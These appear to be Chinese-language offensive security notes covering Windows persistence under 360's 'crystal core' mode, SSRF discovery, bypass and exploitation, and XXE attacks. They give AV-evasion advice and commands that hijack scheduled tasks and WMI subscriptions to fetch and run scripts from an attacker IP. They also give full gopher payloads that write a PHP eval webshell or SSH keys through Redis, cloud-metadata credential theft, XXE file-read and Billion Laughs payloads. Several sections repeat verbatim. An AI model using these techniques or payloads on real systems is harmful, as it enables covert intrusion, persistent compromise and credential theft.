360 开启了晶核模式,怎么去尝试权限维持

1. 放弃传统方法,转向无文件和内存驻留

在晶核模式下,任何涉及到文件落地、注册表写入、服务创建的传统权限维持方法都极有可能被拦截。因此,我们的核心思想是:不落地、不留痕、内存驻留

  • 无文件攻击:避免将任何可执行文件(.exe.dll)写入磁盘。所有的恶意代码都应该通过 PowerShell、C# 或其他脚本语言在内存中运行
  • 内存驻留:将恶意代码注入到合法的、白名单内的进程中,如 svchost.exeexplorer.exe 等。这样,恶意代码就可以利用合法进程的信任度来绕过安全软件的监控
  • 使用 PowerShell 或 C#:利用 PowerShell 的反射式加载(Reflective Loading)技术,可以直接在内存中执行 .NET 程序集。360 晶核模式对 PowerShell 脚本的监控非常严格,因此需要使用混淆、加密等技术来绕过其行为分析

2. 利用系统自带的合法进程和功能

晶核模式的核心是识别恶意行为,而不是简单地拦截所有操作。因此,我们可以利用那些系统自带的、360 无法或不敢拦截的合法进程来执行我们的恶意代码

  • 利用 COMWMI:Windows Management Instrumentation (WMI) 和 Component Object Model (COM) 是系统核心组件,它们允许本地和远程执行代码。许多安全软件无法直接拦截这些操作,因为这可能会导致系统功能异常
    • 你可以通过 WMI 在目标机器上远程执行代码,而无需将可执行文件写入磁盘。这种方法非常隐蔽,因为 WMI 流量是合法的
    • 通过 COM 组件,你可以利用那些具有特权的 COM 对象,执行一些平时受限的操作
  • 利用计划任务(Scheduled Tasks):虽然创建新的计划任务可能会被晶核模式拦截,但你可以尝试修改已有的、合法的计划任务
    • 命令schtasks
    • 思路:找到一个不显眼的、定期执行的系统任务,然后修改它的执行命令,让它执行你的无文件后门例如,你可以让它定时执行一个 PowerShell 脚本,该脚本从网络上下载并执行恶意代码
  • 利用 runas 或其他 Windows API:如果可以拿到高权限,可以尝试利用 runas 或类似的 API 来启动一个拥有更高权限的新进程,然后将恶意代码注入到新进程中

3. 持久化技巧

在权限维持方面,可以考虑以下几种高级技巧:

  • DLL 劫持:找到一个启动时会加载 DLL 的合法程序,并将一个恶意的 DLL 文件放置在它会寻找的路径中。当程序启动时,它会加载你的恶意 DLL,从而执行你的代码

    • 晶核模式的挑战:晶核模式通常会阻止未签名的 DLL 加载到敏感进程中,因此你需要找到一个没有签名检查的合法程序,或者你的 DLL 需要经过特殊处理
  • COM 劫持:攻击者可以修改 Windows 注册表中的 COM 组件路径,将合法的 COM 组件替换为恶意的。当应用程序调用这个组件时,就会执行恶意代码

    • 晶核模式的挑战:晶核模式会对注册表中的关键键值进行监控,因此这种方法需要非常小心,或者找到一个未被监控的注册表键
  • 利用驱动程序:这是最高级的权限维持方法,但难度也最大。你可以尝试加载一个恶意的内核驱动程序。内核驱动拥有最高的权限,可以绕过几乎所有的用户态安全防护

    • 晶核模式的挑战:360 晶核模式的核心就是内核级防护,它会严格检查所有加载的驱动程序。如果你没有一个经过微软签名的驱动程序,很难成功

计划任务被拦截了怎么办

1. 放弃创建,寻找修改或利用已有的计划任务

安全软件通常只监控创建新任务的行为,但可能不会对修改已有任务的行为进行强拦截,尤其是那些系统或合法程序创建的计划任务

  • 攻击原理:找到一个不显眼的、定期执行的、且权限足够高的系统任务,然后修改它的执行命令,让它在执行原有任务的同时,也执行你的恶意代码

  • 操作步骤

    1. 信息收集:首先,使用 schtasks /query /fo list /v 命令来列出所有已有的计划任务。你需要关注以下几点:

      • 任务名称:寻找那些看起来合法、不引人注意的任务,例如与系统更新、日志清理相关的任务
      • 执行账户:寻找那些以 SYSTEMAdministrator 权限运行的任务
      • 触发器:了解任务的触发频率(例如每天、每周)
    2. 修改任务:使用 schtasks /change 命令来修改任务的执行命令

      1
      2
      # 示例:修改一个名为“Microsoft\Windows\Defrag\ScheduledDefrag”的合法任务
      schtasks /change /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "powershell.exe -c \"iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1\""
    • 优点:这种方法利用了合法任务的“信任”,行为更加隐蔽,不容易被安全软件识别为恶意创建行为

2. 利用启动项或服务进行权限维持

如果计划任务的路走不通,启动项和服务是另一个值得尝试的切入点

  • 利用注册表启动项:许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建,但你可以尝试修改一些不那么敏感的键值

    • 常见路径

      • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    • 操作步骤

      1
      2
      # 在注册表Run键中添加一个启动项
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyUpdater" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
    • 缺点:这种方法非常常见,很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式

  • 利用服务:Windows 服务可以以高权限运行,并且可以配置为开机自启动

    • 操作步骤

      1
      2
      3
      4
      # 创建一个新的服务
      sc create MyService binPath= "C:\Users\Public\payload.exe" start= auto
      # 启动服务
      sc start MyService
    • 缺点:创建新服务同样是一个非常敏感的操作,几乎所有的安全软件都会进行拦截

3. 使用无文件和内存驻留技术

这是在高级防护环境下最有效的权限维持方法,因为它完全绕过了文件系统和注册表的监控

  • DLL 劫持:找到一个经常被合法程序调用的、但路径可写的 DLL 文件,将你的恶意代码注入到这个 DLL 中

    • 操作步骤
      1. 找到一个合法程序(例如 c:\Program Files\Google\Chrome\Application\chrome.exe)启动时会去加载的 DLL
      2. 将你自己的恶意 DLL 文件命名为相同的名字,并放置在程序会优先寻找的路径中。
      3. 当用户启动这个程序时,你的恶意 DLL 就会被加载并执行,从而实现权限维持
    • 优点:这种方法非常隐蔽,因为执行的是合法程序,绕过了许多行为监控
  • WMI/COM 持久化:利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化

    • 原理:你可以创建一个 WMI 事件订阅,当某个特定事件发生时(例如系统启动),自动触发执行你的恶意代码

    • 操作步骤

      1
      2
      3
      4
      5
      6
      # 创建一个WMI事件过滤器,当系统启动时触发
      $filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop
      # 创建一个WMI事件消费者,执行你的恶意代码
      $consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop
      # 将过滤器和消费者绑定
      $binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop
    • 优点:这是最高级的无文件持久化技术,非常难以被检测

11- SSRF 系列

SSRF 漏洞存在位置

1. URL地址加载资源

这是 SSRF 漏洞最经典的藏身之处。当一个网站需要通过 URL 地址从其他服务器获取图片、文件或音频等资源时,就可能存在 SSRF

  • 头像/图片上传:很多社交平台或电商网站允许用户通过提供图片 URL 来上传头像或商品图片
    • 案例:在某电商平台的商品图片上传接口,我发现一个名为 image_url 的参数。我将其值从一个合法的图片链接改为内网地址,如http://192.168.1.1,服务器返回了连接超时的错误。当我改为http://127.0.0.1:80 时,却返回了“HTTP 请求无效”的错误。通过这些差异,我判断 127.0.0.1 的 80 端口是开放的,从而证实了 SSRF 漏洞的存在
  • 文章或图片收藏:当用户分享或收藏一个网页时,服务器会去抓取页面标题、描述、缩略图等信息
    • 案例:在一个内容管理系统(CMS)中,我测试了“分享文章”功能。当我输入一个 URL 时,系统会生成一个预览。我将 url 参数的值从外网地址改为了 http://localhost/,结果系统成功抓取并展示了本地服务器的登录页面。这证明了服务器执行了请求,并且没有对 localhost 进行过滤

2. URL协议解析不当与转码服务

开发者在处理 URL 时,往往只过滤了 http://https://,却忘记了其他协议,或者没有对 URL 重定向进行二次校验

  • 转码服务:一些在线视频或音频转码服务,需要用户提供一个 URL,服务器会去下载并进行格式转换
    • 案例:一个视频转码服务的 video_url 参数可以被利用。我尝试将 http:// 协议替换为 file://,并输入 file:///etc/passwd。服务器返回了 /etc/passwd 文件的内容,这表明服务器不仅存在 SSRF,还存在**本地文件读取(LFI)**漏洞
  • 在线翻译/API调用:许多翻译服务需要通过 API 去获取内容,如果 API 的 URL 可控,就可能存在 SSRF
    • 案例:一个未公开的 API 接口用于调用 URL 服务,我尝试用 gopher:// 协议去攻击内网的 Redis 服务。我构造了 Gopher URL,并将其作为 API 参数发送,最终成功在目标服务器上执行了 Redis 命令,实现了代码执行

3. 第三方服务与Webhooks

现代应用经常需要与其他服务集成,例如支付接口、云服务 API 等。这些集成点经常需要通过 URL 进行通信

  • Webhooks:许多 SaaS 产品支持 Webhooks,当特定事件发生时,它会向用户指定的 URL 发送 HTTP 请求

    • 案例:在一个 Git 仓库管理平台,我发现它允许自定义 Webhook URL。我将 Webhook URL 设置为内网的 http://192.168.10.20/。当有代码提交时,我通过检查网络流量,证实了服务器确实去请求了这个内部地址,从而证明了 SSRF 漏洞的存在
  • 云服务API:在云环境中,元数据服务通常通过一个固定的内网 IP 提供敏感信息

    • 案例:在一个运行在 AWS 的网站上,我利用 SSRF 漏洞让服务器请求 AWS 的元数据服务地址http://169.254.169.254/latest/meta-data/。服务器成功返回了一个目录列表,这表明我能够访问这个特殊的内网服务,并可以进一步获取 IAM 凭证来控制整个云实例

    SSRF 漏洞绕过方法

1. IP 地址绕过

服务器为了防止内网探测,通常会限制请求的目标IP,比如禁止访问私有IP地址(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.1)。我们可以尝试一些技巧来绕过这些限制

  • 十进制、八进制、十六进制等进制转换:
    • 十进制: http://127.0.0.1 可以转换为 http://2130706433
    • 八进制: http://127.0.0.1 可以转换为 http://0177.0.0.1http://017700000001
    • 十六进制: http://127.0.0.1 可以转换为 http://0x7f000001
    • 混合进制: 例如 http://0x7f.0.0.1
    • 域名解析: localhost 可以解析为 127.0.0.1
    • 不完整 IP: 某些系统会把 127.1 当作 127.0.0.1 处理
  • 短地址服务或域名重定向:
    • 攻击者可以利用短地址服务(如 bit.ly)或自己搭建一个网站,设置 302/307 重定向,将请求从白名单域名重定向到内网地址。例如,设置一个 http://trusted.com/redirect,当服务器请求此地址时,会自动跳转到 http://192.168.1.1
    • 这种方法常用于目标服务器只允许访问特定白名单域名的情况
  • 利用 IPV6 地址绕过:
    • 如果目标系统没有对 IPv6 地址进行过滤,那么 ::1 就可以指向 127.0.0.1
  • 利用 xip.io 或类似服务:
    • xip.io 是一个将 IP 地址嵌入域名的服务。例如,10.0.0.1.xip.io 会解析为 10.0.0.1。如果服务器只限制了 IP,但未限制域名解析,这会是有效的绕过方法

2. 协议绕过

除了 HTTP/HTTPS 协议,许多库还支持其他协议。如果服务器没有对这些协议进行过滤,我们可以利用它们来访问服务器的本地文件或服务

  • file:// 协议:
    • file:///etc/passwd 可以读取 /etc/passwd 文件
    • file:///C:/Windows/win.ini 可以读取 Windows 系统的 win.ini 文件
    • dict:// 协议:
      • dict://127.0.0.1:6379/info 可以查询 Redis 服务的信息
      • dict://127.0.0.1:6379/config:set:dbfilename:evil.php 可以用于写入恶意文件
  • gopher:// 协议:
    • 这是最强大的协议之一,可以发送任意 TCP 请求。攻击者可以利用它来攻击内网的各种服务,如 MySQL、Redis、FastCGI 等
    • 例如,攻击 Redis 服务:gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A
  • ftp:// 协议:
    • 可以利用 FTP 协议在某些情况下进行端口扫描,或者发送自定义命令

3. URL 解析绕过

不同的URL解析器(如 PHP、Python、CURL 等)对 URL 的解析规则可能存在差异。利用这种差异,可以绕过基于正则表达式的过滤

  • 利用特殊字符:
    • @ 符号:http://example.com@127.0.0.1,在一些解析器中,会忽略 @ 前的内容,导致请求发往 127.0.0.1
    • # 符号:http://127.0.0.1#example.com# 后面的内容通常被认为是片段标识符,会被忽略,从而请求 127.0.0.1
  • 利用 URL 编码:
    • 对 IP 地址进行URL编码,例如 127.0.0.1 编码为 %31%32%37%2E%30%2E%30%2E%31
    • . 进行 URL 编码,例如 http://127%2E0%2E0%2E1
  • 利用 DNS Rebinding:
    • 这是高级且难以防范的技巧。攻击者控制一个域名,该域名在短时间内第一次解析为一个非内网 IP(通过白名单检查),第二次解析为内网 IP

    • 步骤:

      1. 攻击者设置一个恶意域名 evil.com,其 DNS 记录 TTL(生存时间)设置为很低
      2. 第一次 DNS 解析,evil.com 解析为一个公网 IP,服务器通过白名单检查
      3. 服务器发起请求,但由于请求需要时间,在第二次DNS解析时,攻击者将 evil.com 的 DNS 记录修改为 127.0.0.1
      4. 服务器再次请求 evil.com 时,会请求到 127.0.0.1,从而绕过过滤

      SSRF 漏洞利用方式

1. 端口扫描

这是最基础也最常见的利用方式。通过控制服务器向内网 IP 的不同端口发起请求,并根据响应时间、响应内容或 HTTP 状态码来判断端口是否开放

  • 利用方式:
    • GET 请求: http://192.168.1.1:22
    • 响应判断: 如果端口开放,通常会有 HTTP 响应;如果端口关闭或服务不存在,请求会超时或返回连接失败。通过脚本自动化这个过程,可以快速绘制出内网的端口图

2. 访问内网应用

如果服务器能够访问内网,攻击者就可以通过SSRF漏洞来探测和攻击那些通常无法从外部网络访问的应用

  • 利用方式:
    • 访问管理后台: 很多公司的内部管理系统、OA、数据库管理工具等都在内网运行。攻击者可以通过SSRF 漏洞直接访问这些后台,如果存在弱口令,就可能直接接管系统
    • 攻击内网服务: 利用 SSRF 访问内网中的 Redis、MySQL、Elasticsearch、Memcached 等服务。例如,利用 Gopher 协议 攻击 Redis 服务器,可以写入 Webshell 或者 SSH key,从而获得服务器的控制权
      • 示例: gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A 这个 payload 可以向本地的 Redis 服务发送 info 命令,获取 Redis 信息
    • 利用 file:// 协议: 如果没有协议限制,可以直接读取服务器本地文件,如 /etc/passwd/etc/hosts.bash_history 等,从而获取敏感信息
      • 示例: file:///etc/passwd

3. 攻击本地文件包含(LFI)

在某些场景下,SSRF 可以与文件包含漏洞结合利用。例如,当目标网站的 URL 处理逻辑是 file=http://example.com/a.txt 时,你可以将 http 替换为 file,从而实现本地文件读取

  • 利用方式:
    • http://target.com/?url=file:///etc/passwd

4. 绕过防火墙

许多 Web 应用服务器会部署在防火墙后面,防火墙通常只允许特定的出站请求。SSRF 漏洞可以利用服务器作为跳板,绕过防火墙的限制,直接攻击内网

5. 探测云服务元数据

在云服务环境(如 AWS, Google Cloud, Aliyun)中,服务器通常有一个特殊的元数据地址,例如 http://169.254.169.254/。这个地址只在虚拟机内部可访问,其中包含了非常敏感的信息,比如 IAM 角色凭证、密钥、实例信息

  • 利用方式:
    • http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
    • 通过 SSRF 漏洞访问这个地址,攻击者可以获取临时密钥,利用这些密钥就能以该角色的权限访问云服务,比如操作 S3 存储桶、启动或停止虚拟机等,造成巨大的安全风险

6. DoS 攻击

攻击者可以利用 SSRF 漏洞让服务器向自身或内网中的关键服务发起大量的请求,从而造成拒绝服务

  • 利用方式:

    • http://localhost:80
    • 通过循环请求 http://localhost/,可以耗尽服务器资源,使其无法正常提供服务

    SSRF 漏洞利用方式

1. 端口扫描

这是最基础也最常见的利用方式。通过控制服务器向内网 IP 的不同端口发起请求,并根据响应时间、响应内容或 HTTP 状态码来判断端口是否开放

  • 利用方式:
    • GET 请求: http://192.168.1.1:22
    • 响应判断: 如果端口开放,通常会有 HTTP 响应;如果端口关闭或服务不存在,请求会超时或返回连接失败。通过脚本自动化这个过程,可以快速绘制出内网的端口图

2. 访问内网应用

如果服务器能够访问内网,攻击者就可以通过SSRF漏洞来探测和攻击那些通常无法从外部网络访问的应用

  • 利用方式:
    • 访问管理后台: 很多公司的内部管理系统、OA、数据库管理工具等都在内网运行。攻击者可以通过SSRF 漏洞直接访问这些后台,如果存在弱口令,就可能直接接管系统
    • 攻击内网服务: 利用 SSRF 访问内网中的 Redis、MySQL、Elasticsearch、Memcached 等服务。例如,利用 Gopher 协议 攻击 Redis 服务器,可以写入 Webshell 或者 SSH key,从而获得服务器的控制权
      • 示例: gopher://127.0.0.1:6379/_*2%0D%0A$4%0D%0Ainfo%0D%0A 这个 payload 可以向本地的 Redis 服务发送 info 命令,获取 Redis 信息
    • 利用 file:// 协议: 如果没有协议限制,可以直接读取服务器本地文件,如 /etc/passwd/etc/hosts.bash_history 等,从而获取敏感信息
      • 示例: file:///etc/passwd

3. 攻击本地文件包含(LFI)

在某些场景下,SSRF 可以与文件包含漏洞结合利用。例如,当目标网站的 URL 处理逻辑是 file=http://example.com/a.txt 时,你可以将 http 替换为 file,从而实现本地文件读取

  • 利用方式:
    • http://target.com/?url=file:///etc/passwd

4. 绕过防火墙

许多 Web 应用服务器会部署在防火墙后面,防火墙通常只允许特定的出站请求。SSRF 漏洞可以利用服务器作为跳板,绕过防火墙的限制,直接攻击内网

5. 探测云服务元数据

在云服务环境(如 AWS, Google Cloud, Aliyun)中,服务器通常有一个特殊的元数据地址,例如 http://169.254.169.254/。这个地址只在虚拟机内部可访问,其中包含了非常敏感的信息,比如 IAM 角色凭证、密钥、实例信息

  • 利用方式:
    • http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
    • 通过 SSRF 漏洞访问这个地址,攻击者可以获取临时密钥,利用这些密钥就能以该角色的权限访问云服务,比如操作 S3 存储桶、启动或停止虚拟机等,造成巨大的安全风险

6. DoS 攻击

攻击者可以利用 SSRF 漏洞让服务器向自身或内网中的关键服务发起大量的请求,从而造成拒绝服务

  • 利用方式:

    • http://localhost:80
    • 通过循环请求 http://localhost/,可以耗尽服务器资源,使其无法正常提供服务

    SSRF 如何攻击内网服务

1. 判断内网Redis端口是否开放

首先,我们需要确认目标服务器的内网中是否存在 Redis 服务,以及它监听的端口。Redis 的默认端口是 6379

我们可以使用 SSRF 漏洞,尝试向 http://127.0.0.1:6379/ 发起请求。如果请求有响应或返回连接成功的提示,那么Redis 服务可能存在

2. 构造Redis命令

Redis的通信协议(RESP,Redis Serialization Protocol)是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式

例如,一个简单的INFO命令的RESP格式如下:

1
2
3
*1
$4
INFO
  • \*1:表示这是一个包含 1 个命令参数的数组
  • $4:表示接下来的参数有 4 个字节
  • INFO:参数的具体内容

在 Gopher 协议中,换行符需要转换为 URL 编码,即%0D%0A(回车换行)。因此,上述命令转换为 Gopher 协议的 URL编码后是: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A

3. 写入WebShell

这是最常见的攻击方式,尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能,将WebShell 代码写入到服务器的网站根目录,从而获得服务器的控制权

攻击思路:

  1. 设置 Redis 的 dirdbfilename:将 Redis 的持久化目录设置为网站根目录,将持久化文件名设置为一个WebShell 文件名(如 shell.php)。
  2. 写入 WebShell 代码:利用 Redis 的 SET 命令,将 WebShell 代码写入一个键中
  3. 执行 SAVEBGSAVE:执行 SAVE 命令将数据保存到指定的 WebShell 文件中

Gopher Payload 构造举例(以写入PHP一句话木马为例):

PHP 一句话木马代码: <?php eval($_POST[cmd]);?>

  1. 设置文件目录config set dir /var/www/html/ Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A
  2. 设置文件名config set dbfilename shell.php Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A
  3. 设置键值set 1 '<?php eval($_POST[cmd]);?>' Gopher Payload: gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A
  4. 执行保存save Gopher Payload: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A

你可以将上述 Payload 组合起来,并进行 URL 编码,通过 SSRF 漏洞一次性发送

4. 写入 SSH 公钥

如果 Redis 服务是以 root 权限运行,并且目标服务器开放了 SSH 服务,攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 .ssh/authorized_keys 文件,从而实现 SSH 免密登录

Gopher Payload 构造举例:

  1. 设置文件目录:config set dir /root/.ssh/
  2. 设置文件名:config set dbfilename authorized_keys
  3. 写入SSH公钥:set 1 'ssh-rsa AAAA...your-pubkey...'
  4. 执行保存:save

SSRF 如何攻击内网服务

1. 判断内网Redis端口是否开放

首先,我们需要确认目标服务器的内网中是否存在 Redis 服务,以及它监听的端口。Redis 的默认端口是 6379

我们可以使用 SSRF 漏洞,尝试向 http://127.0.0.1:6379/ 发起请求。如果请求有响应或返回连接成功的提示,那么Redis 服务可能存在

2. 构造Redis命令

Redis的通信协议(RESP,Redis Serialization Protocol)是一种基于TCP的文本协议。攻击者需要将Redis命令转换为符合该协议的格式

例如,一个简单的INFO命令的RESP格式如下:

1
2
3
*1
$4
INFO
  • \*1:表示这是一个包含 1 个命令参数的数组
  • $4:表示接下来的参数有 4 个字节
  • INFO:参数的具体内容

在 Gopher 协议中,换行符需要转换为 URL 编码,即%0D%0A(回车换行)。因此,上述命令转换为 Gopher 协议的 URL编码后是: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0AINFO%0D%0A

3. 写入WebShell

这是最常见的攻击方式,尤其是在目标服务器是 Web 服务器的情况下。攻击者可以利用 Redis 的持久化功能,将WebShell 代码写入到服务器的网站根目录,从而获得服务器的控制权

攻击思路:

  1. 设置 Redis 的 dirdbfilename:将 Redis 的持久化目录设置为网站根目录,将持久化文件名设置为一个WebShell 文件名(如 shell.php)。
  2. 写入 WebShell 代码:利用 Redis 的 SET 命令,将 WebShell 代码写入一个键中
  3. 执行 SAVEBGSAVE:执行 SAVE 命令将数据保存到指定的 WebShell 文件中

Gopher Payload 构造举例(以写入PHP一句话木马为例):

PHP 一句话木马代码: <?php eval($_POST[cmd]);?>

  1. 设置文件目录config set dir /var/www/html/ Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html/%0D%0A
  2. 设置文件名config set dbfilename shell.php Gopher Payload: gopher://127.0.0.1:6379/_*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A
  3. 设置键值set 1 '<?php eval($_POST[cmd]);?>' Gopher Payload: gopher://127.0.0.1:6379/_*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$27%0D%0A%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%0D%0A
  4. 执行保存save Gopher Payload: gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0Asave%0D%0A

你可以将上述 Payload 组合起来,并进行 URL 编码,通过 SSRF 漏洞一次性发送

4. 写入 SSH 公钥

如果 Redis 服务是以 root 权限运行,并且目标服务器开放了 SSH 服务,攻击者还可以通过 Redis 将 SSH 公钥写入 root 用户的 .ssh/authorized_keys 文件,从而实现 SSH 免密登录

Gopher Payload 构造举例:

  1. 设置文件目录:config set dir /root/.ssh/
  2. 设置文件名:config set dbfilename authorized_keys
  3. 写入SSH公钥:set 1 'ssh-rsa AAAA...your-pubkey...'
  4. 执行保存:save

SSRF 怎么用 Redis 写 Shell

步骤一:利用 SSRF 伪造 Redis 协议请求

SSRF 攻击需要将恶意请求发送给目标服务器的 Redis 服务。这里通常需要使用 Gopher 协议。Gopher 协议可以发送自定义的 TCP 请求,这正是我们与 Redis 交互所需要的

Redis 的通信协议(RESP)是一个基于文本的协议。我们可以使用 Gopher 协议将这些命令编码成 URL 格式

Redis 命令序列:

我们通过 SSRF 漏洞向 Redis 服务器依次发送以下命令:

  1. SET webshell "<?php eval($_POST['cmd']);?>":设置一个键名为 webshell,值为我们想要写入的 Webshell 代码
  2. CONFIG SET dir "/var/www/html/":设置 Redis 的工作目录为网站的根目录
  3. CONFIG SET dbfilename "shell.php":设置持久化文件名为 shell.php
  4. SAVE:执行保存命令,将数据持久化到指定的文件中

步骤二:将命令编码为 Gopher 协议 URL

我们需要将上述 Redis 命令序列转换成 Gopher URL

  • 将命令转换为 RESP 协议格式

    • SET webshell "<?php eval($_POST['cmd']);?>" -> *3\r\n$3\r\nSET\r\n$7\r\nwebshell\r\n$25\r\n<?php eval($_POST['cmd']);?>\r\n
    • CONFIG SET dir "/var/www/html/" -> *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html/\r\n
    • CONFIG SET dbfilename "shell.php" -> *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n
    • SAVE -> *1\r\n$4\r\nSAVE\r\n

    注:\r\n 是回车换行符,在 URL 中需要编码为 %0d%0a

  • 拼接成完整的 Gopher URLgopher://127.0.0.1:6379/_ + [RESP 编码的命令] + %0d%0a + [RESP 编码的命令] + …

    一个完整的 Gopher URL 示例如下:

    1
    gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$7%0d%0awebshell%0d%0a$25%0d%0a%3c%3fphp%20eval%28%24_POST%5b%27cmd%27%5d%29%3b%3f%3e%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$14%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a

步骤三:通过 SSRF 漏洞发起请求

将上述构造好的 URL 作为 SSRF 漏洞的参数值,例如:

1
http://example.com/ssrf.php?url=gopher://127.0.0.1:6379/_...

当服务器端执行这个请求时,它会通过 Gopher 协议向本地的 Redis 服务发送一系列命令,最终在 /var/www/html/ 目录下生成一个名为 shell.php 的文件,其内容就是我们的 Webshell

步骤四:访问 Webshell

攻击者现在可以直接访问 http://example.com/shell.php,并通过 cmd 参数执行任意命令,从而完全控制服务器

12- XXE 系列

XXE 漏洞利用方式

1. 文件读取(最常见)

这是 XXE 漏洞最经典的利用方式,攻击者可以利用外部实体来读取服务器上的任意文件,例如/etc/passwd、Web 应用配置文件等

  • 利用原理:攻击者在 XML 文档中定义一个外部实体,实体的值为一个本地文件路径。当 XML 解析器解析该实体时,就会去读取并返回该文件的内容

  • 利用步骤

    1. 构造恶意 DTD:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用 SYSTEM 关键字。
      • 例如:<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    2. 引用实体:在 XML 文档的主体中引用该实体。
      • 例如:<data>&xxe;</data>
  • 完整示例

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <root>
    <data>&xxe;</data>
    </root>

    当服务器解析这个 XML 时,在 <data> 标签中就会回显 /etc/passwd 文件的内容

2. 拒绝服务攻击(DoS)

攻击者可以利用 XXE 漏洞,通过“递归引用”或“大量实体引用”的方式,使 XML 解析器进入死循环或消耗大量系统资源,从而导致服务崩溃

  • 利用原理:利用 XML 实体可以相互引用的特性,构造一个无限递归或指数级爆炸的实体

  • 经典示例十亿笑脸攻击(Billion Laughs Attack)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

    这个 XML 文件虽然很小,但在解析时,<lolz> 实体会扩展为数十亿个“lol”,消耗巨大的内存和 CPU 资源,最终导致服务器崩溃

3. 内网端口扫描

攻击者可以利用 XXE 漏洞探测服务器所在内网中其他主机的开放端口

  • 利用原理:攻击者构造外部实体,让 XML 解析器去尝试连接内网 IP 和端口。如果端口开放,XML 解析会成功或返回特定的错误信息;如果端口关闭,则会返回连接超时等错误,通过错误信息来判断端口状态
  • 利用方式
    1. 定义外部实体<!ENTITY scan SYSTEM "http://192.168.1.1:80">
